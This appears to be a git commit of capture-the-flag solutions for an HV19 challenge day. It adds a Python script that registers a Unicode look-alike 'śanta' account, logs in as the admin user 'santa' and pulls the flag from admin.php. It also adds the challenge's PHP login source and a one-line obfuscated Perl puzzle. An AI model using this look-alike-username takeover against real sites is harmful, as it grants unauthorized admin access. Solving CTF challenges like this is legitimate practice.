Day17 code
This commit is contained in:
Roman committed
1 parent
7926b309e2
commit
5267a8d008
5 files changed
+40
-1
No files matched your search
+1
-1
@@ -7,7 +7,7 @@ import logging
|
||||
|
||||
def on_connect(client, userdata, flags, rc):
|
||||
if rc == 0:
|
||||
path = 'HV19/#';
|
||||
path = 'HV19/gifts/#';
|
||||
client.subscribe(path, qos=0)
|
||||
|
||||
def on_message(client, userdata, msg):
|
||||
|
||||
File renamed without changes.
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import requests
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
|
||||
BASE_URL = "http://whale.hacking-lab.com:8881"
|
||||
PASSWORD = ''.join([random.choice(string.ascii_lowercase) for i in range(8)])
|
||||
SESSION = requests.session()
|
||||
FLAG_PATTERN = re.compile("HV19\{[^}]*\}")
|
||||
|
||||
# 1. register user santa
|
||||
res = SESSION.post(BASE_URL + "/register.php", data={"username": "śanta", "pwd": PASSWORD, "pwd2": PASSWORD})
|
||||
if res.status_code != 200 or "Registration successful!" not in res.text:
|
||||
print("Server returned: %d %s" % (res.status_code, res.status_text))
|
||||
print(res.text)
|
||||
exit(1)
|
||||
|
||||
# 2. login
|
||||
res = SESSION.post(BASE_URL + "/login.php", data={"username": "santa", "pwd": PASSWORD})
|
||||
if res.status_code != 200 or "username not found or wrong password!" in res.text:
|
||||
print("Server returned: %d %s" % (res.status_code, res.status_text))
|
||||
print(res.text)
|
||||
exit(1)
|
||||
|
||||
# 3. get flag
|
||||
res = SESSION.get(BASE_URL + "/admin.php")
|
||||
if res.status_code != 200 or "username not found or wrong password!" in res.text:
|
||||
print("Server returned: %d %s" % (res.status_code, res.status_text))
|
||||
exit(1)
|
||||
|
||||
print(FLAG_PATTERN.search(res.text))
|
||||
@@ -0,0 +1,5 @@
|
||||
<html><head>
|
||||
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body><code><span style="color: #000000">
|
||||
<span style="color: #0000BB"><?php<br><br></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'show'</span><span style="color: #007700">])) </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br><br></span><span style="color: #FF8000">/**<br> * Verifies user credentials.<br> */<br></span><span style="color: #007700">function </span><span style="color: #0000BB">verifyCreds</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">, </span><span style="color: #0000BB">$username</span><span style="color: #007700">, </span><span style="color: #0000BB">$password</span><span style="color: #007700">) {<br> </span><span style="color: #0000BB">$usr </span><span style="color: #007700">= </span><span style="color: #0000BB">$conn</span><span style="color: #007700">-></span><span style="color: #0000BB">real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">);<br> </span><span style="color: #0000BB">$res </span><span style="color: #007700">= </span><span style="color: #0000BB">$conn</span><span style="color: #007700">-></span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT password FROM users WHERE username='"</span><span style="color: #007700">.</span><span style="color: #0000BB">$usr</span><span style="color: #007700">.</span><span style="color: #DD0000">"'"</span><span style="color: #007700">);<br> </span><span style="color: #0000BB">$row </span><span style="color: #007700">= </span><span style="color: #0000BB">$res</span><span style="color: #007700">-></span><span style="color: #0000BB">fetch_assoc</span><span style="color: #007700">();<br> if (</span><span style="color: #0000BB">$row</span><span style="color: #007700">) {<br> if (</span><span style="color: #0000BB">password_verify</span><span style="color: #007700">(</span><span style="color: #0000BB">$password</span><span style="color: #007700">, </span><span style="color: #0000BB">$row</span><span style="color: #007700">[</span><span style="color: #DD0000">'password'</span><span style="color: #007700">])) return </span><span style="color: #0000BB">true</span><span style="color: #007700">;<br> else </span><span style="color: #0000BB">addFailedLoginAttempt</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">, </span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'REMOTE_ADDR'</span><span style="color: #007700">]);<br> }<br> return </span><span style="color: #0000BB">false</span><span style="color: #007700">;<br>}<br><br></span><span style="color: #FF8000">/**<br> * Determines if the given user is admin.<br> */<br></span><span style="color: #007700">function </span><span style="color: #0000BB">isAdmin</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">) {<br> return (</span><span style="color: #0000BB">$username </span><span style="color: #007700">=== </span><span style="color: #DD0000">'santa'</span><span style="color: #007700">);<br>}<br><br></span><span style="color: #FF8000">/**<br> * Determines if the given username is already taken.<br> */<br></span><span style="color: #007700">function </span><span style="color: #0000BB">isUsernameAvailable</span><span style="color: #007700">(</span><span style="color: #0000BB">$conn</span><span style="color: #007700">, </span><span style="color: #0000BB">$username</span><span style="color: #007700">) {<br> </span><span style="color: #0000BB">$usr </span><span style="color: #007700">= </span><span style="color: #0000BB">$conn</span><span style="color: #007700">-></span><span style="color: #0000BB">real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$username</span><span style="color: #007700">);<br> </span><span style="color: #0000BB">$res </span><span style="color: #007700">= </span><span style="color: #0000BB">$conn</span><span style="color: #007700">-></span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT COUNT(*) AS cnt FROM&nbLine truncated
|
||||
</span>
|
||||
</code></body></html>
|
||||
@@ -0,0 +1 @@
|
||||
s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee
|
||||
Reference in new issue
Block a user